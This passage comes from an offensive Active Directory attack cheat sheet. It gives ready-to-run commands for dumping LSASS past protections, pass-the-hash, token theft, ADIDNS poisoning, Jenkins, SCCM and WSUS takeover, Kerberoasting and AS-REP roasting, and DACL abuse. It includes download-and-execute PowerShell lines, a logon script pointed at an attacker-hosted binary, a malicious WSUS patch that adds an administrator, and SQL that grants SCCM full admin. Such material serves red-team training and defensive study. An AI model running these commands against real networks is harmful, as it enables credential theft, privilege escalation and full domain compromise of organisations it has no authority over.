Mimikatz can't be used, [PPLKiller](https://github.com/RedCursorSecurityConsulting/PPLKiller) is an alternative ```powershell ./PPLKiller.exe /installDriver ./PPLKiller.exe /disableLSAProtection ./PPLKiller.exe /uninstallDriver ``` And more recently, [PPLmedic](https://github.com/itm4n/PPLmedic) ```powershell ./PPLmedic.exe dump ``` ### Pass the Challenge This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This[ modified version of Pypykatz](https://github.com/ly4k/Pypykatz) must be used to parse the LDAP dump. Full explains [here](https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22). #### NTLMv1 ```powershell #Dump the LSASS process with Mimikatz for example #Parse the dump with Pypykatz python3 -m pypykatz lsa minidump lsass.DMP -p msv #Inject the SecurityPackage.dll into the LSASS process ./PassTheChallenge.exe inject ./SecurityPackage.dll #Retrieve the NTLMv1 hash ./PassTheChallenge.exe nthash : #Crack the NTLMv1 hash on crack.sh to retrieve the NT hash ``` #### NTLMv2 In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is possible to pass the challenge and provide the response. It is possible to perform this attack with this modified version of [Impacket](https://github.com/ly4k/Impacket). First, as above: ```powershell #Dump the LSASS process with Mimikatz for example #Parse the dump with Pypykatz python3 -m pypykatz lsa minidump lsass.DMP -p msv #Inject the SecurityPackage.dll into the LSASS process ./PassTheChallenge.exe inject ./SecurityPackage.dll ``` Then, authenticate with an Impacket tool specifying `CHALLENGE` as password, provide the printed challenge to `PassTheChallenge`, and send the computed response to Impacket: ```bash #Authenticate with CHALLENGE as password psexec.py 'domain.local/user1:CHALLENGE@target.domain.local' #Copy paste the challenge to PassTheChallenge.exe and retrieve the response ./PassTheChallenge.exe challenge : #Paste the response to the Impacket prompt (possible that multiple response are needed) ``` ### Pass The Hash ```powershell Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm: /run:powershell.exe"' ``` ### Over Pass The Hash / Pass The Key Generate Kerberos TGT from hashes (or AES keys) ```powershell #With Mimikat Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4: /run:powershell.exe"' Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256: /run:powershell.exe"' #With Rubeus .\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4: /ptt /opsec .\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256: /ptt /opsec ``` #### Bypass Kerberos Double Hop By default, Kerberos **doesn't** permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever) This can be bypassed with Mimikatz, by running a reverse shell in a **Over-Pass-the-Hash** from a PSSession ```powershell $Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http:///Invoke-HelloWorld.ps1'))" Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm: /run:.\reverse.bat"' ``` In the new shell it is **not** possible to run an **Enter-PSSession**, but it is possible to create a **New-PSSession** and run **Invoke-Command** into this new session ```powershell $sess = New-PSSession Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess Invoke-Command -ScriptBlock{mkdir /tmp; iwr http:///Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess ``` ### Token manipulation #### Standard token impersonation * It is possible to use/impersonate tokens available on a machine * We can use `Invoke-TokenManipulation` from PowerSploit or Incognito (Meterpreter) for token impersonation * Administrative privileges are required to adjust token privileges * List all tokens ```powershell #List all tokens on the machine Invoke-TokenManipulation -ShowAll #List all unique, usable tokens on the machine Invoke-TokenManipulation -Enumerate ``` * Start a new process with a specific token ```powershell #Token of a user Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1" #Token of a process Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500 ``` #### Token impersonation with command execution and user addition [Blog here](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/). * List available tokens, and find an interesting token ID ```powershell ./Impersonate.exe list ``` * With only **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default): ```powershell ./Impersonate.exe adduser user1 Password123 \\dc.domain.local ``` * With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is presents on the machine, it is possible to execute comands on the machine as him: ```powershell ./Impersonate.exe exec ``` The same tool exists in Rust (not totally the same, the logic is a little bit different, looks at the [README](https://github.com/zblurx/impersonate-rs)) ```powershell #List all the process and their token ./irs.exe list #Execute a command with the token from a process ./irs.exe exec --pid --command ``` #### Token impersonation via session leaking [Blog here](https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6). Basically, as long as a token is linked to a logon session (the **ReferenceCount != 0**), the logon session can't be closed, even if the user has logged off.\ `AcquireCredentialsHandle()` is used with a session LUID to increase the _ReferenceCount_ and block the session release. Then `InitializeSecurityContext()` and `AcceptSecurityContext()` are used to negotiate a new security context, and `QuerySecurityContextToken()` get an usable token. * Server part ```powershell #List logon session Koh.exe list #Monitor logon session with SID filtering Koh.exe monitor #Capture one token per SID found in new logon sessions Koh.exe capture ``` * Client part (only available as Cobalt Strike BOF for the moment) ```powershell #List captured tokens koh list #List group SIDs for a captured token koh groups #Impersonate a captured token by specifying the session LUID koh impersonate #Release all captured tokens koh release all ``` #### Tokens and ADCS With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users. ```powershell .\Masky.exe /ca: /template: /output:./output.txt ``` ### ADIDNS poisoning How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us * By default, any user can create new ADIDNS records * But it is not possible to change or delete a record we are not owning * By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc If the **wilcard record** (\*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it. #### Wildcard attack with Powermad The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what **Powermad** do: ```powershell # get the value populated in the DNSRecord attribute of a node Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec # creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP # enable a tombstoned record Enable-ADIDNSNode -Node * # disable a node Disable-ADIDNSNode -Node * # remove a node Remove-ADIDNSNode -Node * # check the wildcard record works/resolve a name Resolve-DnsName NameThatDoesntExist ``` #### DNS update with Invoke-DNSUpdate To work with "classic" record, i.e. not wildcard record ```powershell Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData -Realm domain.local ``` ### Feature abuse #### Jenkins Go to `http:///script` ```groovy def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` Without admin access : add a build step in the build configuration, add `"Execute Windows Batch Command"` and `powershell –c ` ```bash powershell -c "iex (new-object system.net.webclient).downloadstring('http:///Invoke-HelloWorld.ps1')" #For more hardened policy #On Kali echo "iex (new-object system.net.webclient).downloadstring('http:///Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 #In Jenkins cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` #### SCCM / MECM ##### Recon Some requests to retrieve the SCCM servers: ```powershell #With PowerShell ([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties} #With SharpSCCM ./SharpSCCM.exe local site-info ./SharpSCCM.exe local client-info ``` ##### Credentials harvesting ###### Client Push Accounts With a compromised machine in an Active Directory where SCCM is deployed via **Client Push Accounts** (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains [here](https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-client-push-accounts). To do it: * Remove all the local Administrators on the compromised machine : `net user /delete` * Listen with Inveigh : `Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y` * Wait for the Client Push Accounts that will attempt to authenticate automatically * Hope for Net-NTLMv1, relay possibility or wathever With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication. ```powershell #If admin access over Management Point (useful to clean the MP cache with the attacker machine) ./SharpSCCM.exe invoke client-push -t --as-admin #If not MP admin (need to conctact an administrator to clean the cache) ./SharpSCCM.exe invoke client-push -t ``` ###### SCCM credentials extraction Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the **Network Access Accounts (NAA)** in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI. With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell: ```powershell #Network Access Accounts (NAA) Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount #TaskSequence variables Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence #Device Collection variables Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable ``` All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell: ```powershell ./SharpDPAPI.exe SCCM #Via CIM store on disk or WMI ./SharpSCCM.exe local secrets disk ./SharpSCCM.exe local secrets wmi ``` **NAA** can be extracted with Mimikatz: ```powershell ./mimikatz.exe mimikatz # privilege::debug mimikatz # token::elevate mimikatz # dpapi::sccm ``` Ultimately, **NAA** and **TaskSequence** can be retrieved remotely: ```powershell ./SharpSCCM.exe get secrets ``` ##### Applications and scripts deployment With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with **SharpSCCM** or **PowerSCCM**: * With SharpSCCM ```powershell #Retrieve computers linked to the SCCM server ./SharpSCCM.exe get devices -w "Active=1 and Client=1" #Execute a binary on a target device ./SharpSCCM.exe exec -d -p bin.exe #Execute a PS command on a target device ./SharpSCCM.exe exec -d -p "powershell " #Coerce a NTLM authentication from a domain user #The user is the primary user of the device, and this one is retrieved from its primary user #Add --run-as-system to obtain the computer account authentication instead ./SharpSCCM.exe exec -u DOMAIN\user1 -r ``` * With PowerSCCM ```powershell #Create SCCM Session with WMI Find-SccmSiteCode -ComputerName New-SccmSession -ComputerName -SiteCode -ConnectionType WMI #Retrieve computers linked to the SCCM server Get-SccmSession | Get-SccmComputer #Create a computer collection Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device" #Add computer to the collection Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "" -CollectionName "col" #Create an app to deploy Get-SccmSession | New-SccmApplication -ApplicationName "" -PowerShellB64 "" #Create an app deployment with the app and the collection previously created Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "" -AssignmentName "assig" -CollectionName "col" #Force the machine in the collection to check the app update (and force the install) Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col" ``` If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). **PowerSCCM** also permits to do it with this [PR](https://github.com/PowerShellMafia/PowerSCCM/pull/6) : ```powershell New-CMScriptDeployement -CMDrive '' -ServerFQDN '' -TargetDevice '' -Path '.\reverse.ps1' -ScriptName 'EvilScript' ``` ##### Network Access Account deobfuscation A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, deobfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains [here](https://blog.xpnsec.com/unobfuscating-network-access-accounts/). **WARNING** : the author does not recommanded to use the tool in prod. ```bash sccmwtf.py "fakepc" "fakepc.domain.local" '' 'domain\ControlledComputer$' 'Password123!' ``` Then decrypt the retrieved hexadecimal blobs: ```powershell .\policysecretunobfuscate.exe .\policysecretunobfuscate.exe ``` ##### SCCM primary site takeover The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. [Some requirements](https://www.thehacker.recipes/ad/movement/sccm-mecm#sccm-site-takeover) must be reached to exploit this scenario. Full explains [here](https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1) and [here](https://posts.specterops.io/site-takeover-via-sccms-adminservice-api-d932e22b2bf). * Relay to the site database server ```powershell # Retrieve the controlled user SID in HEX format .\SharpSCCM.exe get user-sid # Setup a NTLM relay server to MSSQL or SMB # targetting MS-SQL ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks # targeting SMB ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks # Coerce the primary site server authentication via Client Push Installation .\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "" -t "attacker.domain.local" ``` With a MSSQL socks open, an `mssqlclient` session can be obtained: ```bash proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth ``` And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site: ```sql --Switch to site database use CM_ --Add the SID, the name of the current user, and the site code to the RBAC_Admins table INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (,'DOMAIN\user',0,0,'','','','',''); --Retrieve the AdminID of the added user SELECT AdminID,LogonName FROM RBAC_Admins; --Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), --the “All Systems” scope (SMS00001), --and the “All Users and User Groups” scope (SMS00004) INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00ALL','29'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (,'SMS0001R','SMS00004','1'); ``` Post exploitation via SCCM can now be performed on the network. * Relay to the SMS Provider server If the HTTP API is accessible on the SMS Provider server, setup `ntlmrelayx` with [this PR](https://github.com/fortra/impacket/pull/1593) to add user1 as a new SCCM admin: ```bash ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid ``` And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever. * Relay from a passive to the active site server When high availability in required, it is possible to find a [passive site server](https://learn.microsoft.com/en-us/mem/configmgr/core/servers/deploy/configure/site-server-high-availability) that will be used only if the active site server stop working. Its machine account **must** be a member of the local Administrators group on the active site server. Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server. ```bash ntlmrelayx.py -t activeServer.domain.local -smb2support -socks ``` Then, through the proxy socks session, dump the SAM and LSA with secretsdump.The active site server must be a member of the SMS Provider administrators (it is member of the `SMS Admins` group), its credentials can be used to add a new controlled user to the `Full Admin` SCCM group. ```bash python3 sccmhunter.py admin -u activeServer$ -p : -ip () (C:\) >> add_admin controlledUser () (C:\) >> show_admins ``` ##### AdminService lateral movement The **CMPivot** service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses a HTTP REST API, named **AdminService**, provided by the SMS Provider server which. With SCCM administrative rights, it is possible to directly interact with the **AdminService** API, without using CMPivot, for post SCCM exploitation purpose. ```powershell #Retrieve the ID of the ressource to enumerate .\SharpSCCM.exe get resource-id -d "COMPUTER" #Enumerate the local administrators .\SharpSCCM.exe invoke admin-service -r -q "Administrators" -j #Enumerate the installed softwares .\SharpSCCM.exe invoke admin-service -r -q "InstalledSoftware" -j ``` #### WSUS * Push an evil update on the computers : [SharpWSUS explains](https://labs.nettitude.com/blog/introducing-sharpwsus/) ```powershell #Locate the WSUS server ./SharpWSUS locate #Find a way to compromise it #Enumerate the contents of the WSUS server to determine which machines to target ./SharpWSUS.exe inspect #Create a malicious patch with a Microsoft signed binary (mandatory) ./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS" #Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment ./SharpWSUS.exe approve /updateid: /computername: /groupname:"Evil Group" #Wait for the client to download the patch, not possible to control ./SharpWSUS.exe check /updateid: /computername: #Clean up after the patch is downloaded. ./SharpWSUS.exe delete /updateid: /computername: /groupname:"Evil Group" ``` * [Spoof the WSUS server and hijack the update](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wsus-spoofing) if the updates are pushed through HTTP and not HTTPS ```powershell #Find the WSUS server with the REG key reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver #Setup the fake WSUS server python3.exe pywsus.py --host --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"' ``` And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this: ```go # quick recon of the network net.probe on # set the ARP spoofing set arp.spoof.targets $client_ip set arp.spoof.internal false set arp.spoof.fullduplex false # reroute traffic aimed at the WSUS server set any.proxy.iface $interface set any.proxy.protocol TCP set any.proxy.src_address $WSUS_server_ip set any.proxy.src_port 8530 set any.proxy.dst_address $attacker_ip set any.proxy.dst_port 8530 # control logging and verbosity events.ignore endpoint events.ignore net.sniff # start the modules any.proxy on arp.spoof on net.sniff on ``` ```bash bettercap --iface --caplet wsus_spoofing.cap ``` Now wait for update verification or manually trigger with a GUI access on the machine. Another attack presented in the AD-CS cheatsheet permits to perform an ESC8 from a WSUS poisoning. #### PXE Boot **PowerPXE** is a PowerShell script that extracts interesting data from insecure PXE boot. ```powershell Import-Module PowerPxe Get-PXEcreds -InterfaceAlias Ethernet ``` **pxethiefy.py** identifies a PXE boot media, extracts it and provides a crackable hash if it is encrypted, and displays next steps with SharpSCCM to retrieve sensitive information. Presented in the Active Directory - Python Edition cheatsheet. #### Pre-Windows 2000 Computers Everything is explained [here](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers). ## Domain Privesc ### Kerberoast #### Find users with SPN ```powershell #PowerView Get-NetUser -SPN #ActiveDirectory module Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` #### Request ST ```powershell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN/.domain.local" ``` Or `Request-SPNTicket` with PowerView #### Export the ticket ```powershell Invoke-Mimikatz -Command '"kerberos::list /export"' ``` #### Crack the ticket Many options but this one works (also john, hashcat, etc...) ```batch python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi ``` #### Rubeus Rubeus can be used to perform all the attack, with more or less opsec ```powershell #Kerberoast all the kerberoastable accounts .\Rubeus.exe kerberoast #Kerberoast a specified account .\Rubeus.exe kerberoast /user: /outfile:ticket.kirbi #Kerberoast with RC4 downgrade even if the targets are AES enabled #Tickets are easier to crack .\Rubeus.exe kerberoast /tgtdeleg #Kerberoast with opsec tgtdeleg trick filtering AES accounts .\Rubeus.exe kerberoast /rc4opsec ``` ### Kerberoast with DES DES can be enabled in the following GPO `Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security` on the Domain Controller, on in the following registry key : `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\parameters\SupportedEncryptionTypes`. DES can be use to takeover any account except `krbtgt` and trust accounts. Full explains [here](https://exploit.ph/des-is-useful.html). * Check if DES is enabled ```powershell ./Rubeus.exe asktgt /user:user1 /password:Password123 /domain:domain.local /dc:dc.domain.local /suppenctype:des /nowrap #To check in the UAC of an account Get-DomainUser user1 -Domain domain.local -Server dc.domain.local | select useraccountcontrol,serviceprincipalname ``` * Request a ST for the target SPN ```powershell ./Rubeus.exe asktgs /ticket:TGT.kirbi /service: /enctype:des /dc:dc.domain.local /nowrap ``` * Perform a U2U request. The goal is to obtain a ticket for the user than can be decrypted to read the first block of plain text. This block will be used after to form a crackable hash. Retrieve the value of "Block One Plain Text" in the output ```powershell ./Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /nowrap ``` * Then, reuse this value in the `/desplaintext` parameter with the `describe` command ```powershell ./Rubeus.exe describe /desplaintext: /ticket: ``` The `Kerberoast Hash` value in the output can be used with hashcat: ```bash hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 ``` The obtained DES key can now be used to ask for a TGT for the target account. To exploit this against a Domain Controller, the DC account UAC must be changed from `SERVER_TRUST_ACCOUNT` (8192) needs to be changed to `WORKSTATION_TRUST_ACCOUNT` (4096) (Owner or Write access against the DC account are needed). **This attack can be destructive. It is not recommanded to perform it in production**. Additionally, DES must be activated in the UAC. ```powershell Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288} Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=2097152} ``` Then, the attack can be performed as presented above. To rollback to `SERVER_TRUST_ACCOUNT` an admin account is needed. First escalate to DA, then: ```powershell Set-DomainObject "CN=DC,OU=Domain Controllers,DC=domain,DC=local" -XOR @{'useraccountcontrol'=12288} ``` ### Kerberoast w/o creds #### Without pre-authentication If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request. Full explains [here](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). ```powershell .\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"user_w/o_preauth" /spn:users.txt ``` #### With MitM If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast. **WARNING : `RoastInTheMiddle.exe` is only a PoC for the moment, be carefull with it in prod environment !** ```powershell ./RoastInTheMiddle.exe /listenip: /spns:users.txt /targets:, /dcs:, ``` #### Combined with DES Here are the steps to follow to perform the attack, as described by [Charlie Clark](https://twitter.com/exploitph). 1. Request a valid TGT for User1. 2. Send U2U with User1’s TGT as both authentication and additional tickets to extract known plain text of first block. 3. Man-in-the-Middle (MitM) is performed. 4. AS-REQ for Computer1 is captured. 5. AS-REQ modified to only include the DES-CBC-MD5 etype. 6. Forward AS-REQ to a DC that supports DES. 7. Extract TGT for Computer1 from AS-REP. 8. Send U2U with User1’s TGT as the authentication ticket and Computer1’s TGT as the additional ticket to get an ST encrypted with Computer1’s TGT’s session key. 9. Create a DES hash from U2U ST encrypted with Computer1’s TGT’s session key. 10. Create KERB\_CRED from Computer1’s TGT and known information, missing the session key. 11. Crack the DES hash back to the TGT session key. 12. Insert the TGT session key into the KERB\_CRED. 13. Use the TGT to authenticate as Computer1. **For the moment, this version of RoastIntheMiddle doesn't seem available.** ```powershell ./RoastInTheMiddle.exe sessionroast /listenip: /targets:, /dcs:, /tgt: ``` The "Hash DES session key" can be cracked with hashcat: ```bash hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 ``` And the crack result (which is the DES session key) with the "Kirbi missing session key" can be combined to build a valid TGT: ```powershell ./Rubeus.exe kirbi /sessionkey: /sessionetype:des /kirbi: /nowrap ``` ### AS-REP Roasting #### Enumerate users ```powershell #UPowerView: Get-DomainUser -PreauthNotRequired -Verbose #AD module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth ``` #### Request AS-REP hash ```powershell .\Rubeus.exe asreproast /user: /domain:domain.local /format:hashcat #To enumerate AS-REP roastable users through LDAP .\Rubeus.exe asreproast /creduser:"domain.local\user1" /credpassword:"password" /domain:domain.local /format:hashcat ``` It is possible to force DES, if it is allowed: ```powershell .\Rubeus.exe asreproast /user: /domain:domain.local /des /format:hashcat ``` #### Disable Kerberos Preauth With PowerView, with enough privileges it is possible to perform targeted AS-REP roasting. ```powershell Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose Get-DomainUser -PreauthNotRequired -Verbose ``` #### Crack the hash With **john** or **hashcat** it could be performed. In case of DES hash, here is the command: ```bash hashcat -a 3 -m 14000 -1 charsets/DES_full.charset --hex-charset ?1?1?1?1?1?1?1?1 ``` ### DACLs attacks #### ACLs packages * **Owns object** * WriteDacl * **GenericAll** * GenericWrite * AllExtendedRights * WriteOwner * **GenericWrite** * Self * WriteProperty * **AllExtendedRights** * User-Force-Change-Password * DS-Replication-Get-Changes * DS-Replication-Get-Changes-All * DS-Replication-Get-Changes-In-Filtered-Set #### On any objects ##### WriteOwner With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it ```powershell Set-DomainObjectOwner -Identity -OwnerIdentity user1 -verbose Add-ObjectAcl -TargetIdentity -PrincipalIdentity user1 -Rights ResetPassword #And change the password $cred = ConvertTo-SecureString "Password123!" -AsPlainText -force Set-DomainUserPassword -Identity -accountpassword $cred ``` ##### WriteDacl With this rights we can modify our ACLs against the target, and give us **GenericAll** for example ```powershell Add-ObjectAcl -TargetIdentity -PrincipalIdentity user1 -Rights All ``` In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`) ```powershell $Guids = Get-DomainGUIDMap $AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid $OU = Get-DomainOU -Raw $dsEntry = $OU.GetDirectoryEntry() $dsEntry.PsBase.Options.SecurityMasks = 'Dacl' $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $dsEntry.PsBase.CommitChanges() ``` #### On an user ##### WriteProperty * ShadowCredentials ```powershell Whisker.exe add /target: /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:"Password123!" ``` * Logon Script ```powershell #PowerView Set-DomainObject -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose #AD module Set-ADObject -SamAccountName '' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe" ``` * Targeted Kerberoasting We can then request a ST without special privileges. The ST can then be "**Kerberoasted**". ```powershell #Verify if the user already has a SPN Get-DomainUser -Identity | select serviceprincipalname #Using ActiveDirectory module Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName ``` **New SPN must be unique in the domain** ```powershell #Set the SPN Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'} #Using ActiveDirectory module Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} #Request the ticket Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1" #From PowerView Request-SPNTicket ``` ##### User-Force-Change-Password With enough permissions on a user, we can change his password ```powershell net user Password123! /domain #With PowerView $pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass) Set-DomainUserPassword "" -AccountPassword $UserPassword -Credential $cred ``` #### On a computer ##### WriteProperty * ShadowCredentials ```powershell Whisker.exe add /target: /domain:domain.local /dc:dc.domain.local /path:C:\path\to\file.pfx /password:Password123! ``` * Kerberos RBCD ##### AllExtendedRights * ReadLAPSPassword ```powershell # With PowerView Get-DomainComputer .domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime ``` * ReadGMSAPassword ```powershell ./GMSAPasswordReader.exe --accountname gmsaAccount ``` #### On a RODC ##### GenericWrite * Obtain local admin access Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights. * Retrieve Tiers 0 account's NT hashes It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD. ```powershell #Add a domain admin account to the msDS-RevealOnDemandGroup attribute Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} #If needed, remove the admin from the msDS-NeverRevealGroup attribute Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup' ``` ##### WriteProperty **WriteProperty** on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket. ```powershell #Add a domain admin account to the msDS-RevealOnDemandGroup attribute Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} #If needed, remove the admin from the msDS-NeverRevealGroup attribute Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup' ``` #### On a group ##### WriteProperty/AllExtendedRights/GenericWrite Self With one of this 